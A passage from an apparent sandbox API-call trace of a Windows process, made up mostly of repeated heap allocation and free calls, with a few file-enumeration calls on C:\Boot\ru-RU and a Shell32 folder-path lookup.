lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0266.388] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.388] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.388] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7029f0 | out: hHeap=0x640000) returned 1 [0266.388] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7029f0 [0266.388] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.388] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.388] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.388] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.388] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.388] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.388] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.388] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.388] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.388] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.388] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.388] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.388] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.388] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.388] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.388] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.388] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.388] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.388] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.388] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.388] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.388] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.389] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.389] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.389] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.389] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.389] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.389] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.389] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.389] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.389] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.389] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.389] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.389] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.389] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.389] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.389] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.389] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.389] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.389] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.389] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.389] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.389] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.389] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.389] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.389] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.389] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.389] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.389] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.389] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.390] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.390] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.390] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.390] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.390] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.390] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.390] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.390] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.390] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.390] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.390] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.390] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.390] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.390] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.390] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.390] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.390] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.390] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.390] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.390] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.390] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.390] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.390] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.390] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.390] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.390] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.390] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.390] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.391] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.391] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.391] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.391] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.391] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.391] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.391] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.391] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.391] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.391] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.391] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.391] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.391] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.391] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.391] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.391] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.391] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.391] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.391] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.391] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.391] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.391] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.391] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.391] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.391] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.391] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.392] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.392] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.392] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.392] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.392] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.392] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.392] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.392] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.392] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.392] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.392] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.392] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.392] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.393] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.393] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.393] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.393] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.393] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.393] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.393] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.393] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.393] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.393] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.393] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.393] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.393] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.393] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.394] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.394] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.394] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.394] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.394] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.394] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.394] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.394] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.394] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.394] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.394] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.394] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.394] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.394] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.394] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.394] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.394] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.394] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.394] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.394] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.394] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.394] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.394] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.394] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.394] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.394] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.394] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.394] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.395] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.395] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.395] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.395] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.395] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.395] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.395] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.395] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.395] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.395] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.395] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.395] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.395] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.395] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.395] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.395] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.395] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.395] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.395] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.395] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.395] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.395] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.395] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.395] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.395] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.395] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.395] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.395] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.396] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.396] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.396] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.396] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.396] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.396] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.396] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.396] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.396] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.396] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.396] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.396] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.396] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.396] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.396] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.396] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.396] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.396] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.396] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.396] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.396] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.396] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.396] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.396] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.396] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.396] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.396] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.397] PathFindFileNameW (pszPath="C:\\Boot\\ru-RU\\") returned="ru-RU\\" [0266.397] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076f08 [0266.397] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0266.397] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.397] PathFindFileNameW (pszPath="") returned="" [0266.397] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076f08 [0266.397] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0266.397] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0266.397] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x800) returned 0x31106e0 [0266.397] SHGetFolderPathW (in: hwnd=0x0, csidl=40, 